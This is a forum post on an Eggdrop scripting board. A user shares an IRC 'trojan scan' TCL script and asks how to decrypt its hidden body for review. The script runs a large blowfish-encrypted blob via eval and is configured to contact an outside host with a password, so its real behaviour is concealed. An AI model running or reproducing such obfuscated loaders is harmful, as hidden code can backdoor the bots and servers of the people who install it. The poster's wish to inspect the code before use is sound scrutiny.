This is the new home of the egghelp.org community forum.
All data has been migrated (including user logins/passwords) to a new phpBB version.


For more information, see this announcement post. Click the X in the top right-corner of this box to dismiss this message.

encrypted trojan scan script

Support & discussion of released scripts, and announcements of new releases.
Post Reply
User avatar
sKy
Op
Posts: 194
Joined: Thu Apr 14, 2005 5:58 pm
Location: Germany

encrypted trojan scan script

Post by sKy »

This script should be used against trojan bots.
Before using it i like to have a look to the source. I know how the decrypt/encryt command works, but i am not able do decryt such a big code. Can you tell me how i can encode it, without executing any commands?

Code: Select all

    # --- aspb developed by am and friendly support by Arou 'teh monkey' (#xela)

    #                      __ _  _            _     __  
    #    __ _ _ __ ___    / /| || |___  _____| | __ \ \ 
    #   / _` | '_ ` _ \  | |_  ..  _\ \/ / _ \ |/ _` | |
    #  | (_| | | | | | | | |_      _|>  <  __/ | (_| | |
    #   \__,_|_| |_| |_| | | |_||_| /_/\_\___|_|\__,_| |
    #                     \_\                       /_/ 

    # /* copyright */

    # This program is free software; you can redistribute it and/or modify
    # it under the terms of the GNU General Public License as published by
    # the Free Software Foundation; either version 2 of the License, or
    # (at your option) any later version.
    #
    # This program is distributed in the hope that it will be useful,
    # but WITHOUT ANY WARRANTY; without even the implied warranty of
    # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    # GNU General Public License for more details.
    #
    # You should have received a copy of the GNU General Public License
    # along with this program; if not, write to the Free Software
    # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA

    # /* command */

    # Default Trigger/Standart Befehl: $aspb

    # /* note */

    # eng: aspb is a free service, would be very nice if you could keep the url in the kick message :)
    # ger: aspb ist kostenlos, wäre nett wenn die URL in der Kick Message erhalten bleiben könnte :)

    # --- script settings

      # -- modules

        if {[catch { loadmodule blowfish } error]} {
          return "aspbgbl\002:\002 'error' $error"
        }

      # -- variables

        if {[array exists aspb]} {
          array unset aspb
        }

        array set aspb {

          "trigger"  "\$aspb"
 
          "version"  "1.0.1.5"
          "author"   "Alexander Martin 'am' and teh monkey Arou (#xela)"

          "address"  "arou.mine.nu"
          "port"     "26"
          "password" "616C6578"

          "default"  "%5\$s-trojan infected drone, please check \037www.pjen.net/?id=%4\$s&botnick=%2\$s\037 (ID: %4\$s)"

        }

    # --- main source

      eval [decrypt aspb mXjd10VJD8n0kmh2o/VPBxl1.6VCR0tDo9F.Qaixn/FpYC90ILMbj0dMENq0BTQIj.TTpkG0RaJip.YVctq02J17q/l0Voq0jzmOk/CUyT70yMQg11HkT/A/PmQGY0XxQUP.1LgIg.IUCFX0PcW7V0XmOjZ1JFy601NGkNk/emonX/che000MIBwq14rWbd/g5mtu/3/qkU1OJefn08tADW1a0QJM0eXnZN/4Ld7M.gDr.//IfwOc.BR7fl1QNdrn.yj8590UD7id.bdzKf/oiLeX/kKPM1.Mmcvs.j3PQJ.oXMu9.bC/jk0yH/Qa.61DRy1AkSxZ0pbx7V/SL0RA0ZoyK.0f6Gd01BcHTv/Rpu8y1jBvau1vNoMH/P5fGB.ED0MH0EFDmF08XOhk0G5d5R1h./3//r3/Lh0/6EVr/3PEmD/D9ydU0NUcW70ga0Cn1ssGzW/HAEoW1bepz6.o3FEe1FNvhp.3De9f02N0BL0TA6JJ1Ouhag/.7SC8.eIpX/1YlHz./x19Of.z2CE61ZrKF30SqaGA1EddQz/QbaZW0gM99e.tO8DS0ZuChS1mjLA71B1zdD/xnb8x18UJ390DZo2y.UX6EM.3YL0C/AjxFb/FelDp1DQyUa1XK5zz/TQVXA/EfPyG/6c7X.1zauet.XMzRU0GRnDK0ZScxz/fXQms.2p4H.1nI6gZ0VIivp.DPkih/f2r1/1alLZO.HWH7d0Hxx92/Dya6W0vqm2D1dUbWJ1jbEtX0Ge5EL/vQPXq.8dkZx16TC9t/7rkec.VXb091Q8Rf/0CjSKz1r6Au7/rvc1t/Hcpd11VbRQ018ZETI/glX.D1vCnEI.GcqIr/dNcND.jHNqx1nbuEl/aTyTp/U7p3F/7V/zm0k45BD1ezd/M/DEimj.DEQuF/JFTK1.Qezqe.7OnE6.yweMe.00NOn/glX.D1vCnEI.TNHAr.5xKpV/JkrpC.lh/kI/IGQic/Numrc/TNKTo/EuToi.jO3XI1tx9rW1FCySV/EBDhm0YygEs/MVacj/ZTobB/YkfMJ0ejl.C0OZUVP..Whcz07o9Dy.az/570E/r4M.oRsxj0sGXvU1KL.H2/HQNKu0Twko71xW/tW.7.JBl.0Qn7p18Je851UPMEv07YHfM.p/7J60qRSyZ1H1O5R1LeX5B.HnGLd/VVDgT1z32Tc.FCySV/EBDhm0tKCb11zZdiZ0lG2Zy/IIx051O5eqd12w2k80j1FN91.Rdkb/0w2931FaQag08b3zj1RDa5w0BZmW01Clapb/sylpn1qhYdn.iGr93.kqO1n/uJt8m/4wlVz0wHI5y//aUnn1OJaiS/k13FC.TmLXQ1aTmGh09Loxk.T7CKc0FCySV/EBDhm0uacEM.6Pmxu0COeB21HH0f41uf6NJ/CEgPU0gn/S0/7ajRK/RM53S01GekK.E/uCJ1lWtZh13ITsP0nqBKV/XiD0Z.X01Ge/grhG61qawLk/gcIli0XsRlo.ejD/M.bNFn/0JrNA41PSDEq1XJUgb/WbCmu0NLlKL1fynLT.3sQMv.tiU8S1vb2lW.JqzHv/okspo/kMi161LPU8i00fCvg073fOA/d.RID01PUp30AWBQt.sYbxb0ouNjF0X3lUh0odMBh031Xo4/mTly8.qzk4U./OCp3.nMRmn.YLWxM.qUci21o8b95.L/yWX0Hvsy80HLp9u/9X0uy1rsY100PB/do//CSGz.kx/Ry0wgEsa/FCsND.3jiB1/poKfz0c1r6l/2JBzn.wMxq5.nWquB/FKvAI1eGWKY/ylxXu.XHGAW0lqomU1iRjL81BlMdT1kFYO2/HzBkd/CFUdd/QVXiU/T5G5/.GV2F312txg307f0Po.7tzOC.7YLOO/ltADD.KD9mr.rXPBC1agmEd0I0njN1iUc/g/LOwJz1nVW.c1ucG/R/atEzh1ABY4K/AqjvD/fb.9//glrQ/16d8r11sFgV//NtDzp/b7Z9B1LBzUr/cAdpw/Zkuxj.PbY.J.PzsSb.XPxT50psvuK/qLp8c.TVOxE0KAO6F0BjPxc.babMq/F4nhI/6W5tP//i60w0ZpOhq/aM9NB/4Xgae0AHL531L7p7M.NBM2J0uN/Ro1alZKy19AFzP1vpa6c/rH.XX0R/wDh0FTu1f0mbqIk0AsZJY/BsWgh.7c6kO/oehdy136IaC.L6Asn.IO6rj.tbLWK/Am8jj0A.U7N1qFIrb1v2OMS/0AdW.0FFPiI.L7973.6CRIN.cS0/L/2SBwD.euOid.FlStg/.aGII/B.VYA/tJE4n.9aiqV1GkMal0DSOBo1qazmu.vfq5y.L5sro/q8bHB0qxHeq.7Hl8z1eFmXT/AZQsX.qrPPM0ItM9L/Mog8/0WfGLo/lSlqj1.3Ixg0F/kdO0XP9oS.LqQSO1c1aYR1IeDRW1nDsO.1OCRNB0gzHMp1cGhWi0XzS.T/j1FAN/F/kk81NKumU.dtwv51vdo2z/TYp2l//7fQZ082qHe1bpCEp.CF/it/XoDDS0qFyde.UNd6W/euKDp.s5Hc30Hgo5D1Xmnc..0nkxq/xXWyM0gaDlb0Ce3FS/jT5kn/wKyyY/sAvxG1mtKpV0fGStB1Qv06h/wulns09tqpX03/LrV/yNVqq0KzQI..b53KZ0Liwhf0IQrPr.1IK2o/pZDd01ElgZ5.fAbbQ0AvmXT1WXbeU/Mae3u.PMhnS0PfIOt/GxNDx0gDJGU.IpQoi.WFB9C/KRwql/DLudT1x7sDU00QF7y/RZo470.i6pN.2F5a//1h24z/36AfV/nbcMF.udT2R1O6BYb/n1vof.Fl1LR.FCySV/EBDhm0vGECv.U9PV7.VZNl2/huDz51xixvC.2BKPt0VfGvT/Ki8xV1YIpKz/k6jqP/oXMu9.bC/jk0o9xTP/lstFA0HJe5b1bjqx/0syQei13QjH/.vV9v..u4swQ/Lpoio0uxz6o.COJJu0fDQ.M.lojza1JWpXb.gDi1H.LVjsS.QmPSU0HoG43.FTaX61zpXvJ./oDWW/vv.Og0BefRK1vP/1//F9yep1pTzyR.onOUa/Lo8za0oj1LG.wDFWK0Cipwo.i47Y6.S1hhv1aUOBw/lyY0L0a.aL0.T5iOQ03Idzn1PKmU4/Ynv9X/Vu582/XtHQY/xXX2Q.qVsNJ0r5UJg0Wpkuk/jsUFt/kzZiT.y30741/0Ove0BN.kl.aAk611FCySV/EBDhm0Ps5N2.ztSc40SX6mL0jixmb/7iRWT/Qwi2v0WUpOv/wnqfn1Ke3YX/JfFSw18L1uv1HGKSH/ISQ9d06A3K2.22H2V.f0MI6/FCySV/EBDhm0qBcw2.UKI/e0bPPTG1BrS0T1p7F0C/BKZnt1cGN2t0UGbek0KRwql/DLudT1x7sDU00QF7y/ToLet0a.xmO/FeFKo/W9Jta.KEEPB.U4tqr0pUVG4.zlMWk0SUd3608sEP50JRx6m.JsGFr/azihp1nSdmt0mHcGJ0JlTEB/EWPUz/H/1ii0fIlX71ZYwTm1mI0vI.9bLgh0W.J9p1S8XDb14XZ7X.SyCit.uNIwG1x6BKj1COJJu0fDQ.M.lojza1JWpXb.fr1ia/RAtQI/FCySV/EBDhm0ce58Y0BCiV811COT/.zgERi084LAR1HHCSK.RSTYR0rLB39/5fPpN.DJQJU.EiEPK1MAB.115cve51vNJsW0VbLsd/6xQsN//wKdu0UTdNn03I/Ke/nRh/M.wTrsL.O5cXy.dphCJ/qdQXc0V4GE6.ox5iL0voCw21Dx2Pp/FCySV/EBDhm0d83En1OAlNx1TM3F90jtUGv.to1.V135/ol/l3hZU0J/DnJ1pRjim1rZl5v./7vQR0iluXW/Efgzw/E6OL0.Y.4Cc1clfvp/tPv8s.ufE2d.H8Xqb/onbHS1iv2NM/K8RH105Vjph0dGlOQ.wvXOz0NXZco1prmjm.ZJGuR/2jOTq0P6Iyx1a0/f9.XzE6E0LgR1g.7Fo581rdaYi0TRohy.Z5tpW1P/2GF/Lm60K1RcanV.pqrf40GCQBf1mb.xb.1GtHv.o1/xA.lLFc./COJJu0fDQ.M.lojza1JWpXb.fr1ia/RAtQI/FCySV/EBDhm0P615E/AhhuM.kQkwq0csCHr/to1.V135/ol/l3hZU0J/DnJ1pRjim1rZl5v./7vQR0iluXW/Efgzw/E6OL0.Y.4Cc1clfvp/tPv8s.ufE2d.H8Xqb/onbHS1iv2NM/K8RH105Vjph0dGlOQ.wvXOz0NXZco16Bqk41GnoYk1CXV5E.3yz.1.dcHyO0QcwPQ./f3BT1beKZq0VfzuY1kskZG0eHSy.0031cy1gqXHi.AbAm20vRF.4.meIDX/nRgvh/sablO1bIKWX/bGBBm0FCySV/EBDhm0Uz0RL.ynKFZ/CLBVM06VNxK1FCySV/EBDhm0fp6L209ruix08Tszg1vreIr18nRJA.w6YAd.hqCiV0ejZoD0bIKWX/bGBBm0FCySV/EBDhm0VoEwz/E1aWG01hCLX0Rpc1.1RjSH71eJnrl1WE3Uy1K8l87/OeiJz0/l6wJ0QiGpW.wPS2d15pjXy/sSY4i1HkzZP/HmJtW0kerdl.Rzni/0wrCM302HiNe02oS4I.ATPII/WIY9y0ebHg8.bvegA.Is5Bl1n/l7J.o3X6M.yTn6M0QAcyf1/luk21s06Rn0.Bp1g/ebDiy0xRcoa1gzitD1dLzxp.Mzwpb1o1/xA.lLFc./COJJu0fDQ.M.lojza1JWpXb.fr1ia/RAtQI/FCySV/EBDhm0bNC7K/nmY0L0s5BFn.SodOr/PTNq6/Q4B9912yECU0ifH/S.G6meX.NtFHS0lk4O4.nhHiA0VjdO91SHMVt0k0dxs/Ab/rq.NdzHt0lhZdf1XFuf10lvVXM/h.Drp.GBk4E.FCySV/EBDhm0bN261/6ev.z.pXUOa/egrhf/ICUxQ.kHg/w1WSSgA0lJ6Wo0jrBB1/5/Vj216JvZ4/BMLR91vf1Nx1lXOti0KXdwi.K/8oK.s6PTd0/y9ry1pCDaY0QKsM0.JkJEO/cT/XM.Ml4YK1UKAta.0.uQ2.9VyWu1qx5sQ.9oA/T.pKHk51Y61p..sOJ.S0ZE.mM/tnJwy/o4v6p.a8yY//GHz8M1MbWmr/HXB49.YXFdI/nkqFK.Iuv7R1g2nNb0v.17c0CxINB.2VGKP/4wEc1.PpcYd1qTj9f.bmkCs/rsBll0OPIiU0AbdR5014VPE1snDor.YRzpx.WPlkQ1U.6Vi/tq06f1ujj1E/2Ac.Q1uXFOd/yZSBd1.XZ7w.n5GlR0PWlwp0F9eyz.VolQ00khO79/jKRWA.E1djw/a8yY//GHz8M1MbWmr/HXB49.pnPFC04DthY0QkdP3/OXOzH.bSSJw0MjRzn/9SasQ01LbdX/FCySV/EBDhm0dqU780iwH5G17TyZ50vbTP31Xn67b16XAUX0zbzGe1tLmEn.29zUN/MtD8w.9BvPU/3Yw4A0iXc9n/4veLM1lQ1AX0oDEoQ12y9C/.T4qPi.7YtAf.R0Wgh/uTWyo//UI/A/JQbt/1GF95v.Zfmao0rs3qO/gpa3n0ePqrx1FCySV/EBDhm00bOxa/PyAp7/hxozY1UBVYt1FCySV/EBDhm0CjSEm.kSR0T07LMLA0PgAqv1uXcOW1ef7/L.JOmmc.pvbY616wL631c/cDR/kXjF90tuJKw0JxjfT0Vx.sD.Z1q7D.10htN/NC5fc1JXeJh1ZeUgs1de.Mp.U.6Vi/tq06f1ujj1E/2Ac.Q1Mgqpv/pz64g/p1ze01.ZNN01nkXEv1LEDET/FI5uq/dA4vm.R4U6z1iFzr81KIN5q.mlZR113pZrL.PYffz.4R049/x0xZV.4v1WX.ksDZs1yL4Ri1IVGq1/qumJI1eerYJ1NNObC/bA5M//Dv4Zn/n20DM/RGgat1GIvd8.Oi6KK14zwmt1m8gel.ownd90Qj7Kx.djSJv1Hb4P.0/ByDW/NGLJf09bihY.vrS5Z/FRCeY/lNe6b.vrHLy00L9/2/MA34P0EUiNt/Ac26i0XdpAZ.akKFm/z/mzK/uOb010XCcZC1xtz/p1COJJu0fDQ.M.lojza1JWpXb.vzdti.FnPR3.E6oPJ1ihVEp.CrNe1/wN.hs0feJut.XZ.SR1glX.D1vCnEI.716xr.tIEhu/2dQ1H/VAjK40nfkd50uGAH7/zLRIK1P430y..1WEj/jHwhq.5ainn/aU4QZ/rpHo11KMsOk11k1Lr0SRPXm1FCySV/EBDhm0MKZh70RWKSb/yjdQA0tfwhO1SOb9W1gwKVZ/bFJ7K/z3pw5/5BJwN1SXLib/4v1WX.ksDZs18RuIN.VVq8Y1Jqx9y06vKOb0KEEPB.U4tqr0pUVG4.zlMWk0SUd3608sEP50JRx6m.JsGFr/azihp1nSdmt0qSBcu.H0Otp1LMmkM0Ji50Z.4cetd/R/zfz.tHWoS1njzjo0lO2hF/urLz704F3CO.QQHoX/MlsuH161zQN0PN8vW0K59sW0GhR4J0M5qD9.fiVVm.TsFLD1QmPSU0HoG43.FTaX61zpXvJ./oDWW/vv.Og0BefRK1vP/1//F9yep1pTzyR.onOUa/Lo8za0oj1LG.wDFWK0Cipwo.i47Y6.S1hhv1aUOBw/lyY0L0a.aL0.T5iOQ03Idzn1vrITJ/Ud5pO.4iJ9.0kCtW6.8wiCQ1Aou//1Jt3rJ012IJs0pg2YV0ChwA30vQTf3/3sP5Y/86Yhh.aAbGH.FCySV/EBDhm0oBRi70usaEp1cSjmC1zgkWd.WVYr40Al3T40lHIgo/tUi4i.MjX8W/YGa.d0LD.it.OUy/B.1oubE0D3tLm1.Yjw6.Wn5Jq.eKwRz/Bj53r.Q/Yux/FvQ640V6qO5/RpJFf.V8.sG.SMevn/Z9l1B.GwV1q.an5Xa.IP7lI0GMR7M0i8HJD.4Eg1C1q9p5F.WEQcC04CQPO0A2zag/aKfAX0PAp46/xykYd/EGyF714v.aT//2ltE0hyTxH0cBD5Z.vXw8J1cZ0LE/Rg/2/.Oa5QH1NsKad0IPo6z/cNNSF0cU9NJ13EcQI09Hxj1.Sr3c5.aQhZt/EwiIn1aGfCy.Lm8bD.4zMy2/ccAbT.q7WmE1qxMZT/Jx5i90kW.Ef.Lm0p1.Il9sy00fHQh.iNx/Y1gMG/q0IPIYT1FCySV/EBDhm0umETn.dUgac0GKhXe.dsewR.FCySV/EBDhm0oBRi70usaEp1xN/6L1P8ZPy0IsShT.pu5QF10y.mA1hXRxa/bIKWX/bGBBm0FCySV/EBDhm0Dwwzt0cCUl91/peoh/y0ceH0RaJ4x.x2sW4.Pyxgc0o4abD.X5ob9/Mwk661p3Pcx.2LKIg.JAiCJ/NfZrQ1KB295.WEVRu1h9w0T1n2VHf0ZifSD1A27be18FbE50LrEY504v1WX.ksDZs1XeMu01zjF/d/OMbyh1Sy7Fj.16qSd/4yMNW.5V2/T0SRkUp/4na6w/V9A0X1FCySV/EBDhm0rJrWg0kYW5t1dCH13.dBbio.7nPPm/duNKH/JxZwg.qACEA/ZK7TT.5abgW.k5XyZ.g0KA80AYpcG/xVhAf0qy3IB/vrwwt.FCySV/EBDhm0dqU780iwH5G17TyZ50vbTP31Xn67b16XAUX0zbzGe1tLmEn.29zUN/MtD8w.9BvPU/3Yw4A0inSo8/MJP2R/dCt/W0iUSSy.2XqsC/lKO2Q0qDhKO/V0RcM.cSfs204iiGN.CVQi7/MRYow1WU.6500booX0Pu6Mz1pNaTB/wBdP0/ec8Kj1c1UOQ1hz0p30C4ELP1HPE0h1lzWJE.zi6/c.pGXrG0k8D.50oUpa60BKY.J1.gJUR13QwEH1fQvL..YWjEW.o1/xA.lLFc./COJJu0fDQ.M.lojza1JWpXb.fr1ia/RAtQI/FCySV/EBDhm0Uz0RL.ynKFZ/CLBVM06VNxK1FCySV/EBDhm0DCuyL.rP.y20TrRbo/1wxUD0ce2/l0EgHcO.X8TNH.QGboj1YZBgY.xzi8D0ZBnxc/8aXvp1trE1j0TRxW6.mABnu.JXx7Q0OJ3Ni1j5QZc.oQaih1kr0fN.xrl/Q1065ue/Qu1nG0zArqe/mqPwW1d7qn3.DDdRD0vL1Ja.FCySV/EBDhm0fbth/.auKkB/lDGQr/E.x3b0PazVH01hD571N4XDN/5Mwr1/n5YyN1Za4s11qrPPM0ItM9L/GLL36.qhC4X0o1/xA.lLFc./WgLEg1mk8MR14j5p3/H7juw1Gd1yL.uQ6hW0f7NUf0TA4ah.1WAJL/dFoTg.G6meX.NtFHS0FxfYF/AM.Nh/tfKzP1/QzJS.MB6Ux0u36Y20kR0LX0bl/3i0yhhkA13IwQn/h.Drp.GBk4E.FCySV/EBDhm0qBcw2.UKI/e0bPPTG1BrS0T1p7F0C/BKZnt1cGN2t0UGbek0uEfIR/jT9bP11LICL.8bu5k/Ud8LQ.IJAuf05PsRU1ZcHux0to1.V135/ol/l3hZU0J/DnJ1co.kw0QxzZO0dwNZf/BIEwX/eD4Lz/Eop261HNUUZ15Lv8y0GfUqj.Txgi/0OGQvW1KKAZT0Kdlof1LVmgt/FCySV/EBDhm070pAb/8ktOq0tWi1p.FJWV91yeGVE/O.xw1/c76we1zC2vi0klL0q0Ux49Q05uXNP/Z0oKg1DVBCU0D4XLL00ZOn7.hjH6d/eglZt0HehIf1HbgsF1lGSTs0D8Pbv1G9/mx.FCySV/EBDhm0It1z41RvSho/iVWYA1mAYVr.FCySV/EBDhm0KIN8F0OCyAm/uNIwG1x6BKj1COJJu0fDQ.M.lojza1JWpXb.fr1ia/RAtQI/FCySV/EBDhm0PNXXd1zaGxD1Vciyc0aIu.d0Sou3u0UVQuv16ktuP107jhk.93W0s.7hBXd/z6YNn1pBAf50mcbCY.92lXs1uA21s0It4G0.N8bYW/C7oX012OGLN1B4Qyj.FZFs7.1/i2.08Rxuj/cYLra.8R95I1r.3k61zyhhZ0tnGmg1p59mp/JfK1j0v..wy0cCms.0M9Iv31zFSD6/Voxbk1xRafJ0XtPgf.PIg7J.ZeXZW1vFzkd/K33eh1dAxjC/fRKTq0U92n1/mzqLW/vTX3j0NUuyo/MCwwd.d3JY811anRN/o8iK8/OsPYL1z2WuH1PpFzY0xvaco1830pv0FahX/0sz/Mn/izaFa/MxHV.0FRoBn/jMAXN1/Nloh1y/N8k0RkxQK1obNFv1lL/Ps1Bf.Vf//e45e.TCdyf1qMZv20nf63A0TZbOd1lTOlD0lXk0V0kK7dx0ry09A/qzuBi10vmMS0E45ND.0MoqZ16xZEe/8RCUH/CyUFY/rBjpw/RjoPe1cjiQU0W2vkC.glX.D1vCnEI.bt8Bv1Envau1wW3Yv/M5oC81Z4dD80AuoL607w8Ym0g2bL51voCw21Dx2Pp/FCySV/EBDhm0pat5Y1UYPgY/DUn0j0cohbe02FBZ2.od6N4.GmH2D0/edMu.ypj5Y/P0Roj/PFpzq.Nr2UJ/rD8hs/bS81d/YC1yC/gbrxe1UW/fx0Ua.Fl1.GazI0FO1Ev.BNawD/h4zUp17nPPm/duNKH/JxZwg.qACEA/KrRAg0pFQ/v1B5uzA/zs2W8.Px.x21LUZOZ0nJD110eWIa71H300E1HTe6A1gNzKH.FzoBS1h73Nq0JeFDA.EONKH/ROSkN.JJpzg.N//zQ13gwHy1TtHBA/yeGVE/O.xw1/c76we1zC2vi0EioDm/YQL8l0SL0RA0ZoyK.0G/Ju.1jM4W7./mo/Q/G1FD.1ZtWte.lS6cg1GD9ZP/dweBh0I9.FS.U4o/8.FCySV/EBDhm0dA8P./XpMfY/aBvdD.hPn8q.iXQfA0.7xAh0PN0Vw03Fwms.bIKWX/bGBBm0FCySV/EBDhm03KgCr1qPOwX.874Vd/vxc0p1L6dzZ1PlTBF0Qig5j/6v0EC1Gt6yT.89YTs.szx4H0XbhwF07vjPV0ExR8R/S5rlA0y/3PO0Pmdbb/OdJNI.V/kNu0TUiT60oxBKS/dFBp2.FCySV/EBDhm0dA8P./XpMfY/cjiQU0W2vkC.glX.D1vCnEI.716xr.tIEhu/nZsS/0y2laq0/df4g1o5lUi0aKmNU/nkzCr0RJPny/AbWJ.1V9hY90rvGV./nYPbM1dSx.70JMJSX0WKApm/GrRUo.u1xj009xa2O14uEgj.ONNqH/M4SPt/3.y4p0yOX0w.5t219/rgD1b1JLhzI0OXmyw.FCySV/EBDhm0dqU780iwH5G17TyZ50vbTP31Xn67b16XAUX0zbzGe1tLmEn.29zUN/MtD8w.9BvPU/3Yw4A0ZKW63.HCQZC.3w7Oo00vOoK/jCjPv/NxP.W0KVadU0RfWpM/TspbB16QiCE.AptOu/Nao.m1TPjUa0iFKYZ/OkSym.YrFsa/L.lUs.RpRbN.1M1Db1JsMrN.IVlvI/3SDnL0QLeFk.XmliZ1FW93q0Y.m7R.u4UqQ.Dx1Md/pSvNl146PjI0rXw.E0lXMJW.d9qfB1CkwEk.8L7Ak1tOBMA.B6.AR.HOWeq136F9S/SdTnM1K.DLs1iNpF20Kpfrk.sS6DG0kH5Ul.4MDGK1lULQm1Q7Hf.0iiFwY/N/xwx00SeAl072iEk.OJzyd0/DEDg/VH4m4/W4e4y/cFmwb/oOyhb.i0MM51DAZRo1UKnd6/9hWTs.TOnJ9/JrsQK12gqxh0r7Tlt.9uMyd.v2D...NVRx30VCnHR/FCySV/EBDhm0lwVCn0.rAYi1abGoF/ekgoa/YD4hW0DY4BA.xjBWu/JrD4n0n5YyN1Za4s11qrPPM0ItM9L/GLL36.qhC4X03i5j61XJH4c0VGpfD/bgodL0n4jb31.Xvdk.y9LnZ0UXyfu0vgRZn.pJ4.H0vwPfv..TUiE/dOhic.e/HYC1P/qaq1c55GK0dfPKo1G2AaB/euRlP1bglON//wKdu0UTdNn03I/Ke/nRh/M.nq7e7/L3Krq/T2pzd0mdcpY1NzjDt.R7hPt0i9Xn9.LjsG21FCySV/EBDhm0U9lYM1K7Js10M.89m.dqP2M05MhrA02uYEL.8Krrl/MzM2e0RsmHE0nHZ56.xKXmI1kXBhM1ZlDRo/uQ6o7.kfLl2/0rmd5.osLwP.FvJ9m1ZUABj1cyEoJ/BVcGV/rGxEj0UcL8t/lYWYN/y5onP1orCIa0o1/xA.lLFc./qFIrb1v2OMS/0AdW.0FFPiI.mMMMp.DD.7G.wi/Gv1SHHNh/8AhR91lecJS.jPHm5.xEvBW1FCySV/EBDhm0EFo3h/68L/T0iugc8/9Tsfs/9m4Ah1hT3xu.qh5dF0btUGy1Aj74G0euoVP1OgNmu/lxlWd10JXVJ0JIG5n0OKm/U0PIYk8.FCySV/EBDhm0MRc220g/TvZ/aZLVN1gr9RG.7xpFs.euDbt.hMjdy1Ev9mB.xHdEi13.wz71MLzp1.CxLf81Gbbb003Ohfo0L9Ij3/emhso.2MNkP1okhkB0vROhd1DGpuX/gf4FZ.QFPgu06M/yw0oO8zD10dKw/0NP3vG0BJStd.1bdN90XXiYR0Ovh2o0jgLX70O5hNH.cyhpS.9.Vhs/MwS6207hdIp0YXLyB/HJqCG0n5YyN1Za4s11qrPPM0ItM9L/GLL36.qhC4X0nZsS/0y2laq0/df4g1o5lUi0aKmNU/nkzCr0RJPny/AbWJ.1V9hY90rvGV./GRaCy1QVgxV061G2H1smivs.6NNHp0fI22V.HS0eN/wHygX/Czh6r/cRzNN/EnMKG1njnGQ0jwgsP/t7y.X0Z9RL/0DneXX//C5Dy108fsJ0CTEx8.QRpK..P9U5O1EDc/y1aHBO/.mdCAC1Wc3wc0brcTi/H2CKf1kxfXU17Qe/h1uUkyo/JLEkN.OAeVa1cHndB.KRIaC18byJu.v/FsG.NU5Oq0gC3780wDmC81IvAOj1CavDx/B3XCh.2tj9500.d5e.XCcZC1xtz/p1COJJu0fDQ.M.lojza1JWpXb.4fyp5/CyeaJ1qFIrb1v2OMS/1GGL4.CfT7n.cjiQU0W2vkC.glX.D1vCnEI.XqRTx0DlgeM0xQNCI0kZbeu1VAqoT00kARj0rzWh21vKNzW0USvBm.bfvKW.wyXXo/7rxgh/w/A7s/r50rk1/hetc1Xxft5.Aejke/8un4r.8takX0IeATf.k0Ptl/0VKlz/Pj3dK.UD7Lg0orm2A.1HrXH.8la44.9IMgr/gjrI2/euznH/xEXYN1DvEVd0ycTrL/6HsDZ1t8ewd04HAzt0R35b/.0Yn0X/JgKNP/cotTI1h/.oI1qWrhw/Bgcx10V1.n..De/9v.MOInK11OsfN/AhrR..ZT5QH.LPUue/4/B2L.loSxh.DXZG5/L0gYx0SVDpi1SJC8J1SHefc03vsLr.M92bb0Sdlnm.5yfEO.lp.V9.fiVVm.TsFLD1ha/zm11WLj9.T1Ocg0A6Anp0kZOsE.wERz6.oi2Hq/YvIv9.s7G16/Kt4Qm10ZA65/qe8kY17nPPm/duNKH/PIyYx0mg.FZ/Ki2fv/l1lZf.397Mp1l2YGs1CepOn.SopJ7.0e8CH1rsFpu.l1TYa1LpDiZ.eTQw9/I1PJA1g2ZJE1m2yu30ujCYg.GYpBQ.1V8os1VfJAF18gPM90UkMCo1BRR6U.aiRQK1mvgJw0hVM.u.DDdRD0vL1Ja.FCySV/EBDhm0gkZqB1z725Z.WI8Bp0x0Gy01mOsWa.r7UMR1SEJmo/wd6kx/M.PEZ0KK5j6.FCySV/EBDhm00bOxa/PyAp7/hxozY1UBVYt1FCySV/EBDhm0Uz0RL.ynKFZ/alyZH.vTNgR0sKLQU.Awk5Y1RXdSm0NqbTx1KyplU/fzuFg1opJyQ/AlsGl/YKdyP0VDTLI0gPza01vKpIm/FCySV/EBDhm0lwVCn0.rAYi1.pzk7.NARJ/1cAjrA/tf0nL1lySZk.1zQAh1qVA3W1bd1si.FCySV/EBDhm0EvNtu/kOj650bhDqD.i1ftN/SNGcg17EZQj0UJVdG/4zlzz1rJEj9.CXxp9.FCySV/EBDhm0MRc220g/TvZ/1OCbC1jdw9B1pZZTF10UxhR0yg1DT.q1oLB/M00o2//ISFc1qJFzC1.V13S0jK0qn1M0/eG.gf4FZ.QFPgu06M/yw0oO8zD1pQQHf./xkIQ.PWhdQ/XXGZt/FCySV/EBDhm0xAArO/1jcyU.qVA3W1bd1si.FCySV/EBDhm0vGECv.U9PV7.VZNl2/huDz51xixvC.2BKPt0A53rK.A0B9c0mF0II/K6Cqs1o0lG/0sJKGB.sIrqt1TYzqc1geNXm/Y250V17aeKH/tn.yK.1aEo.0jre5h.UyI9t1ZdzAI./3.wp/ZBp4H/qtjJI.u4VaN0vffdT0v0pUV0FCySV/EBDhm0v9Yyy0TvMMY/15bAq.zQWkf/FbNGA.HPWV50LkwZB.Itzz/.ceR7b/T/ZhE.AwiXW0OmEdi.HjCyt/0Ajao0BGXfe/d5L6y.a8yY//GHz8M1fMx3.0tY2hk.dGP4T09F.AO06OXk1.zsx8p0Nc7Jk1vZGYK1yTo1i19iO5P1FCySV/EBDhm0bN261/6ev.z.6eKsG.17kMn0zXQ.1.n.af0.fo6Lj0qxGHZ0CMHus/Ukqbb/5HJrQ/hNgYX0XXnM21Uj9Gp1p60v71RydtP/.QU4O/Yhq4x1PIluy0M7EP5/lXWan0XEUut0FCySV/EBDhm0EFo3h/68L/T0ZnUii.j4RwY/bCfJs1WvXFl1TJ7t61vZ08j0x9GE.0bxihN.Ha9Ba1LkpTu1ha.tt/9Hb2w1wQREn1oUgYH/jOE4d0ELlAW0ZUnJH/EUfnq/Elbc2/TGoSO/3bnOU/PkmNY.ma.kb1lu5B0.fIXh3./7RCi.eK74t.d9ucK0/DuJv1.ncQc0nf51u12s6vr1zazmz1kPQzN/PdsLb/D9HDi/gmjGi0qp4VB.aYR0B032dLs0aDNsN.2XVkh.U.6Vi/tq06f1ujj1E/2Ac.Q1JtA2b.Cp6mN.eYkY1/M9s2F0kWqWK08e8.t/jALHv/WbeGW/.Ri4d.NblKl/GDF39/fA/Z9.s89JP1.pT.G17Rqig1okfNv/Kb5G4.bU7Zn/NR2PC183Il6.N025H0ejacO1FCySV/EBDhm0Ih3Di0fcLeS.E5JVi1XFP4v00bs3f0ozKNv0LvOJ91FPNht0f6Dg2.Tgg8M0YCpos1x5ni